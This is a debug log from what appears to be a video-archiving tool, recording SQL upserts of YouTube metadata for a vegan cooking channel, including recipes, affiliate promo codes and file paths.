tbsp chik-style seasoning OR\n2 tbsp nutritional yeast & 1 tsp garlic powder\n\n1. Toss soy curls in chik seasoning and air fry at 400°F for 16 to 18 minutes, until golden and crisped\n\nSmoky Crispy Chickpeas\n3 to 4 cups canned chickpeas, rinsed and patted dry\n1 tbsp oil\n1 tsp smoked paprila\n1 tsp cumin\n½ tsp salt\n\n1. Toss all ingredients in a bowl to combine then air fry at 400°F for 20 minutes, or until golden and crispy\n\nTangy Balsmic Tofu\n1 block extra firm tofu, torn into chunks\n3 tbsp ketchup\n3 tbsp balsamic vinegar\n1 tbsp maple syrup (optional)\n1 tsp onion powder\npinch of salt\n\n1. Combine the sauce ingredients in a small bowl, then toss the tofu and sauce together in a large bowl to combine (you might have extra sauce leftover).\n2. Transfer tofu to air fryer basket and air fry for 20 minutes at 400°F until deeper golden in colour and crispy.\n\nTofu Cream Cheese: https://steamyvegan.com/tofu-cream-ch...\n\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGAN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nTimestamps\n0:00 - Introduction\n0:22 - Lentil Tomato Soup Recipe\n6:09 - Chik-Style Soy Curls\n9:45 - Balsamic Glaze Tofu\n12:01 - Crispy Chickpeas\n16:14 - Sun Dried Tomato Tofu Cream Cheese", "High Protein Vegan Meal Prep! 5 Vegan Recipes Protein Prep", "beea93f5-21a5-49d4-863c-ce5339492b1f", 1, [], false, "7odVuIRBXh4", "https://www.youtube.com/watch?v=7odVuIRBXh4", 130, "/downloads/downloads/alec/Steamy Vegan/2024-12-21 High Protein Vegan Meal Prep! 5 Vegan Recipes Protein Prep/High Protein Vegan Meal Prep! 5 Vegan Recipes Protein Prep [7odVuIRBXh4].NA", false, false, false, 1, ~U[2024-12-21 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this vegan meal prep I'll show you 5 high-protein vegan recipes I made to eat this week. Meal prepping your proteins is a super simple way to build easy vegan recipes for your lunches and dinners all week long. Once your vegan proteins are prepped for the week then all you need to do is spend 10-20 minutes for most meals to prepare rice, potatoes or veggies to go with your proteins. \n\nRECIPES (will be sharing to my blog soon!)\n\nInstant Pot Tomato Lentil Soup\n1 medium yellow onion, diced\n4 cloves garlic, minced\n2 carrots, diced\n2 stalks celery, diced\n6 or 7 roma tomatoes, diced (or 1 28-oz can diced tomatoes)\n1 cup split red lentils, rinsed\n1 tbsp Italian seasoning\n6-8 cups water or veggie broth, depending on how thick/thin you want your soup to be.\n1½ tps kosher salt\nBlack pepper to taste\n\n1. Press the saute button on the instant pot and warm ¼ cup of water or 1 tbsp oil until hot. Saute the onion, garlic, carrots, and celery until softened, about 6 minutes.\n2. Add the tomatoes, lentils, italian seasoning, water, salt and pepper and stir to combine. Turn off 'saute', seal the lid and pressure cook on high pressure for 2 minutes.\n3. Do a 10 minute natural pressure release and then quick release the remaining pressure. Blend the soup into a smooth puree (using immersion blender or high-speed blender). \n4. Adjust seasonings to taste and allow soup to sit for 15 to 30 minutes to thicken to your liking. \n\nChik-Style Soy Curls\nhalf a bag (4 oz) dry soy curls, rehydrated\n2 tbsp chik-style seasoning OR\n2 tbsp nutritional yeast & 1 tsp garlic powder\n\n1. Toss soy curls in chik seasoning and air fry at 400°F for 16 to 18 minutes, until golden and crisped\n\nSmoky Crispy Chickpeas\n3 to 4 cups canned chickpeas, rinsed and patted dry\n1 tbsp oil\n1 tsp smoked paprila\n1 tsp cumin\n½ tsp salt\n\n1. Toss all ingredients in a bowl to combine then air fry at 400°F for 20 minutes, or until golden and crispy\n\nTangy Balsmic Tofu\n1 block extra firm tofu, torn into chunks\n3 tbsp ketchup\n3 tbsp balsamic vinegar\n1 tbsp maple syrup (optional)\n1 tsp onion powder\npinch of salt\n\n1. Combine the sauce ingredients in a small bowl, then toss the tofu and sauce together in a large bowl to combine (you might have extra sauce leftover).\n2. Transfer tofu to air fryer basket and air fry for 20 minutes at 400°F until deeper golden in colour and crispy.\n\nTofu Cream Cheese: https://steamyvegan.com/tofu-cream-ch...\n\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGAN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan (truncated) 20:31:07.051 [debug] QUERY OK source="sources" db=1.0ms idle=10.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.053 [debug] QUERY OK source="media_items" db=2.1ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-17 00:00:00Z], 1] 20:31:07.056 [debug] QUERY OK source="media_items" db=1.5ms idle=9.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this episode I'll show you my 5 favourite ways to cook rice while on a vegan diet. These rice recipes are high-protein, vegan, and gluten-free and each of these vegan recipes are from a different country around the world.\n\nMY FAVE RICE RECIPES can all be found on my blog ✨\n1️⃣ Greek Lemon Rice: https://steamyvegan.com/greek-high-pr...\n2️⃣ Hawaiian Fried Rice: https://steamyvegan.com/hawaiian-vega...\n3️⃣ Mujadara: https://steamyvegan.com/lebanese-vega...\n4️⃣ Mexican Rice: https://steamyvegan.com/mexican-rice/\n5️⃣ Mushroom Risotto: https://steamyvegan.com/italian-vegan...\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "How to Cook Rice 5 Different Ways 🍚 My 5 FAVE Rice Recipes!", "552bf926-a0a8-4133-99bc-087182bf24f1", 1, [], false, "pJ7LUjWixQk", "https://www.youtube.com/watch?v=pJ7LUjWixQk", 131, "/downloads/downloads/alec/Steamy Vegan/2024-12-17 How to Cook Rice 5 Different Ways 🍚 My 5 FAVE Rice Recipes!/How to Cook Rice 5 Different Ways 🍚 My 5 FAVE Rice Recipes! [pJ7LUjWixQk].NA", false, false, false, 1, ~U[2024-12-17 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this episode I'll show you my 5 favourite ways to cook rice while on a vegan diet. These rice recipes are high-protein, vegan, and gluten-free and each of these vegan recipes are from a different country around the world.\n\nMY FAVE RICE RECIPES can all be found on my blog ✨\n1️⃣ Greek Lemon Rice: https://steamyvegan.com/greek-high-pr...\n2️⃣ Hawaiian Fried Rice: https://steamyvegan.com/hawaiian-vega...\n3️⃣ Mujadara: https://steamyvegan.com/lebanese-vega...\n4️⃣ Mexican Rice: https://steamyvegan.com/mexican-rice/\n5️⃣ Mushroom Risotto: https://steamyvegan.com/italian-vegan...\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "How to Cook Rice 5 Different Ways 🍚 My 5 FAVE Rice Recipes!", 1, nil, false, "pJ7LUjWixQk", "https://www.youtube.com/watch?v=pJ7LUjWixQk", "/downloads/downloads/alec/Steamy Vegan/2024-12-17 How to Cook Rice 5 Different Ways 🍚 My 5 FAVE Rice Recipes!/How to Cook Rice 5 Different Ways 🍚 My 5 FAVE Rice Recipes! [pJ7LUjWixQk].NA", false, ~U[2024-12-17 00:00:00Z]] 20:31:07.057 [debug] QUERY OK source="sources" db=0.5ms idle=9.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.060 [debug] QUERY OK source="media_items" db=2.3ms idle=8.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-14 00:00:00Z], 1] 20:31:07.062 [debug] QUERY OK source="media_items" db=1.6ms idle=9.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These 5 showstopper vegan recipes I make more than any other recipes on my channel! They're all vegan, gluten-free, and perfect for when you want a restaurant quality meal at home plus they're easy vegan recipes to make. 😊🌱\n\nMY TOP 5 RECIPES!\n1️⃣ Dan Dan Noodles (\u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Day\u00A0|\u00A0Crunchwrap\u00A0and\u00A0Dan\u00A0D...\u00A0\u00A0) Recipe will be on my blog soon 😉\n2️⃣ Caramelized Onion Rosé Pasta: https://steamyvegan.com/caramelized-o...\n3️⃣ Tofu Souvlaki: https://steamyvegan.com/greek-high-pr...\n4️⃣ Baked Black Beans: https://steamyvegan.com/vegan-protein...\n5️⃣ Lentil Shepherd's Pie: https://steamyvegan.com/lentil-shephe...\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "My Top 5 Must-Try Vegan Recipes of 2024!", "306bfecc-1561-4109-9342-4540899a1bd4", 1, [], false, "KGJAgqRqYAw", "https://www.youtube.com/watch?v=KGJAgqRqYAw", 132, "/downloads/downloads/alec/Steamy Vegan/2024-12-14 My Top 5 Must-Try Vegan Recipes of 2024!/My Top 5 Must-Try Vegan Recipes of 2024! [KGJAgqRqYAw].NA", false, false, false, 1, ~U[2024-12-14 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "These 5 showstopper vegan recipes I make more than any other recipes on my channel! They're all vegan, gluten-free, and perfect for when you want a restaurant quality meal at home plus they're easy vegan recipes to make. 😊🌱\n\nMY TOP 5 RECIPES!\n1️⃣ Dan Dan Noodles (\u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Day\u00A0|\u00A0Crunchwrap\u00A0and\u00A0Dan\u00A0D...\u00A0\u00A0) Recipe will be on my blog soon 😉\n2️⃣ Caramelized Onion Rosé Pasta: https://steamyvegan.com/caramelized-o...\n3️⃣ Tofu Souvlaki: https://steamyvegan.com/greek-high-pr...\n4️⃣ Baked Black Beans: https://steamyvegan.com/vegan-protein...\n5️⃣ Lentil Shepherd's Pie: https://steamyvegan.com/lentil-shephe...\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "My Top 5 Must-Try Vegan Recipes of 2024!", 1, nil, false, "KGJAgqRqYAw", "https://www.youtube.com/watch?v=KGJAgqRqYAw", "/downloads/downloads/alec/Steamy Vegan/2024-12-14 My Top 5 Must-Try Vegan Recipes of 2024!/My Top 5 Must-Try Vegan Recipes of 2024! [KGJAgqRqYAw].NA", false, ~U[2024-12-14 00:00:00Z]] 20:31:07.064 [debug] QUERY OK source="sources" db=0.6ms idle=9.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.066 [debug] QUERY OK source="media_items" db=2.0ms idle=7.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-11 00:00:00Z], 1] 20:31:07.068 [debug] QUERY OK source="media_items" db=1.7ms idle=8.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These vegan recipes are staples in my household and will save you money on your next grocery haul and will help you eat healthier then buying the same items in a store. I eat these vegan recipes almost every week and they're super cheap and easy to make at home!\n\nRECIPES MENTIONED IN THIS VIDEO (recipes either linked in videos or blog posts)\nI am slowly working on moving all my recipes over to my blog -- thanks for your patience!\n\nSalad Dressings: 1️⃣ \u00A0\u00A0\u00A0•\u00A0Stop\u00A0Wasting\u00A0Money\u00A0on\u00A0Store-Bought!\u00A05\u00A0Home...\u00A0\u00A0 2️⃣ \u00A0\u00A0\u00A0•\u00A04\u00A0Unique\u00A0Salad\u00A0Dressings\u00A0You've\u00A0Never\u00A0Trie...\u00A0\u00A0\nTempeh: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0TEMPEH!\u00A0Full\u00A0step-by-step\u00A0homemade\u00A0...\u00A0\u00A0\nVegan Cream Cheese/Ricotta: https://steamyvegan.com/tofu-cream-ch...\nHummus: https://steamyvegan.com/oil-free-hummus/\nNut Butter/Nutella: https://steamyvegan.com/vegan-nutella/\nChia Jam: https://steamyvegan.com/chia-jam/\n\nWanna make your own tempeh? I've had great success with the Tempeh Starter Culture from Cultures for Health 🌱 If you decide to use my link to make any purchases on their website you'll be supporting my content with a small kickback to me -- thank you! 🧡\nSHOP TEMPEH STARTER CULTURE: https://culturesforhealth.com/product...\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGAN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "6 Vegan Recipes I Make to Save Money and Eat Healthier", "716e2c86-7e88-4a50-a2ba-1f8c1c3353d8", 1, [], false, "79WhqZTn7Rs", "https://www.youtube.com/watch?v=79WhqZTn7Rs", 133, "/downloads/downloads/alec/Steamy Vegan/2024-12-11 6 Vegan Recipes I Make to Save Money and Eat Healthier/6 Vegan Recipes I Make to Save Money and Eat Healthier [79WhqZTn7Rs].NA", false, false, false, 1, ~U[2024-12-11 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "These vegan recipes are staples in my household and will save you money on your next grocery haul and will help you eat healthier then buying the same items in a store. I eat these vegan recipes almost every week and they're super cheap and easy to make at home!\n\nRECIPES MENTIONED IN THIS VIDEO (recipes either linked in videos or blog posts)\nI am slowly working on moving all my recipes over to my blog -- thanks for your patience!\n\nSalad Dressings: 1️⃣ \u00A0\u00A0\u00A0•\u00A0Stop\u00A0Wasting\u00A0Money\u00A0on\u00A0Store-Bought!\u00A05\u00A0Home...\u00A0\u00A0 2️⃣ \u00A0\u00A0\u00A0•\u00A04\u00A0Unique\u00A0Salad\u00A0Dressings\u00A0You've\u00A0Never\u00A0Trie...\u00A0\u00A0\nTempeh: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0TEMPEH!\u00A0Full\u00A0step-by-step\u00A0homemade\u00A0...\u00A0\u00A0\nVegan Cream Cheese/Ricotta: https://steamyvegan.com/tofu-cream-ch...\nHummus: https://steamyvegan.com/oil-free-hummus/\nNut Butter/Nutella: https://steamyvegan.com/vegan-nutella/\nChia Jam: https://steamyvegan.com/chia-jam/\n\nWanna make your own tempeh? I've had great success with the Tempeh Starter Culture from Cultures for Health 🌱 If you decide to use my link to make any purchases on their website you'll be supporting my content with a small kickback to me -- thank you! 🧡\nSHOP TEMPEH STARTER CULTURE: https://culturesforhealth.com/product...\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGAN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "6 Vegan Recipes I Make to Save Money and Eat Healthier", 1, nil, false, "79WhqZTn7Rs", "https://www.youtube.com/watch?v=79WhqZTn7Rs", "/downloads/downloads/alec/Steamy Vegan/2024-12-11 6 Vegan Recipes I Make to Save Money and Eat Healthier/6 Vegan Recipes I Make to Save Money and Eat Healthier [79WhqZTn7Rs].NA", false, ~U[2024-12-11 00:00:00Z]] 20:31:07.069 [debug] QUERY OK source="sources" db=0.9ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.071 [debug] QUERY OK source="media_items" db=1.9ms idle=7.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-08 00:00:00Z], 1] 20:31:07.074 [debug] QUERY OK source="media_items" db=1.4ms idle=8.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this healthy Costco grocery haul, I'll show you all of the high-protein, vegan, and gluten-free groceries that I like to buy from Costco for weight loss. I've started a body transformation plan for weight loss and muscle growth and these are the vegan groceries that I buy for a few weeks of vegan food.\n\nWatch my other grocery hauls here! ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANK30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Costco High-Protein Vegan Grocery Haul", "1dd326d9-5efe-4ef2-89f5-25c5c3121513", 1, [], false, "Vfqen6vY7aI", "https://www.youtube.com/watch?v=Vfqen6vY7aI", 134, "/downloads/downloads/alec/Steamy Vegan/2024-12-08 Costco High-Protein Vegan Grocery Haul/Costco High-Protein Vegan Grocery Haul [Vfqen6vY7aI].NA", false, false, false, 1, ~U[2024-12-08 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this healthy Costco grocery haul, I'll show you all of the high-protein, vegan, and gluten-free groceries that I like to buy from Costco for weight loss. I've started a body transformation plan for weight loss and muscle growth and these are the vegan groceries that I buy for a few weeks of vegan food.\n\nWatch my other grocery hauls here! ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: 